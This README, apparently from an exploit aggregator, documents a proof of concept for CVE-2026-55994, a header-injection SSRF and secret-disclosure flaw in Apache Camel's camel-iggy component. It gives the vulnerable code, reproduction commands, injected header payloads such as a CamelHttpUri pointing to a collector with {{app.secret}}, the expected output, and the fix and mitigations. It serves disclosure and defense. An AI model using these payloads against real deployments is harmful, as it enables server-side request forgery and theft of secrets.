## https://sploitus.com/exploit?id=A333DCF7-9A34-5920-A244-48D869A69CC4
# camel-iggy User-Header Injection Reproducer (CVE-2026-55994)
This project demonstrates a **message-header injection** in Apache Camel's `camel-iggy` component, tracked as
**CVE-2026-55994**. The Iggy consumer copies an inbound message's **user-headers** onto the Camel Exchange
**without any `HeaderFilterStrategy`**, so anyone who can publish to the consumed Iggy topic can inject Camel
control headers โ notably `CamelHttpUri`:
```java
// IggyFetchRecords.createExchange (affected 4.18.2) โ Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
Map stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
```
When the route bridges this consumer into an HTTP producer, an injected `CamelHttpUri` **overrides the producer's
target URI** โ server-side request forgery. The camel-http producer also calls `resolvePropertyPlaceholders()` on
that attacker-controlled URI, so an injected `{{...}}` reference is expanded to its real value and sent out โ
disclosing environment variables, application properties, or vault secrets.
This PoC demonstrates the impact as **SSRF plus secret disclosure (CWE-20 โ CWE-918 + CWE-200)**. It is one of
three sibling components fixed together under CAMEL-23532 (with `camel-vertx-websocket`, CVE-2026-46726, and
`camel-atmosphere-websocket`, CVE-2026-55993).
Advisory: https://camel.apache.org/security/CVE-2026-55994.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-iggy` |
| **Affected Class** | `org.apache.camel.component.iggy.IggyFetchRecords#createExchange` (maps message user-headers to Exchange headers with no filter) |
| **CWE** | CWE-20 (Improper Input Validation) โ CWE-918 (SSRF) + CWE-200 (Information Exposure) |
| **Impact** | SSRF and disclosure of secrets via property-placeholder resolution on the injected URI |
| **Preconditions** | A route bridges an `iggy:` consumer into an HTTP producer; attacker can publish to the consumed topic |
| **Affected Versions** | From 4.17.0 before 4.18.3, from 4.19.0 before 4.21.0 (camel-iggy was introduced in 4.17.0) |
| **Fixed Versions** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) |
| **Credit** | Kamalpreet Singh |
> The fix applies a `HeaderFilterStrategy` to the inbound mapping, filtering `Camel*` / `camel*` headers so they
> can no longer be injected through an Iggy message's user-headers.
## How this reproducer exercises the real vulnerable code
The vulnerable `IggyFetchRecords.createExchange(...)` is run **unchanged, on a forged Iggy message** whose
user-headers are attacker-controlled. The resulting Exchange flows through the **real route** to the **real
camel-http producer**, so the SSRF and the `{{...}}` property-placeholder disclosure are genuine.
> **Why a live Iggy broker is not used.** The `iggy:` consumer's `doStart` opens a connection to a running Iggy
> server, so the route cannot start without one โ and the Apache Iggy server requires `io_uring`, which Docker's
> default seccomp profile blocks (it runs only with `--privileged`), making it unsuitable for a portable,
> shareable PoC. The vulnerable `createExchange` itself needs no broker, so the driver constructs the real
> `IggyFetchRecords` and invokes it directly with the forged message. The sibling `camel-vertx-websocket` PoC
> (CVE-2026-46726) drives the identical defect through a live transport.
## The victim route
In a real deployment: `from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")`. Here the
downstream half is `from("direct:iggy-delivery").to("http://localhost:8080/legit-backend")`, fed the poisoned
Exchange built by the real `createExchange`.
## Repository layout
```
CVE-2026-55994/
โโโ pom.xml # camel-iggy + camel-http 4.18.2
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ VictimRoute.java # downstream link -> http://localhost:8080/legit-backend
โ โโโ SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect
โ โโโ ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
โโโ resources/
โโโ application.properties # app.secret=... (leaked via placeholder resolution)
```
## Prerequisites
- Docker and Docker Compose
- Java 17+ and Maven 3.8+
## Reproduction Steps
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Expected output
```
1) Ordinary message (user-header x-order-id=A-1001)
reached /legit-backend: true
reached /internal/secret: false
2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
```
## Recommended Fix
Upgrade to **4.18.3 / 4.21.0** (CAMEL-23532). After upgrading, the consumer filters `Camel*` headers from the
Iggy message user-headers, so `CamelHttpUri` and other control headers can no longer be injected.
## Mitigation
Until upgrading, do not bridge an `iggy:` consumer directly into an HTTP producer without stripping Camel control
headers first (for example `removeHeaders("CamelHttp*")`), and set the producer's target from a trusted source (or
use `bridgeEndpoint=true`).
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.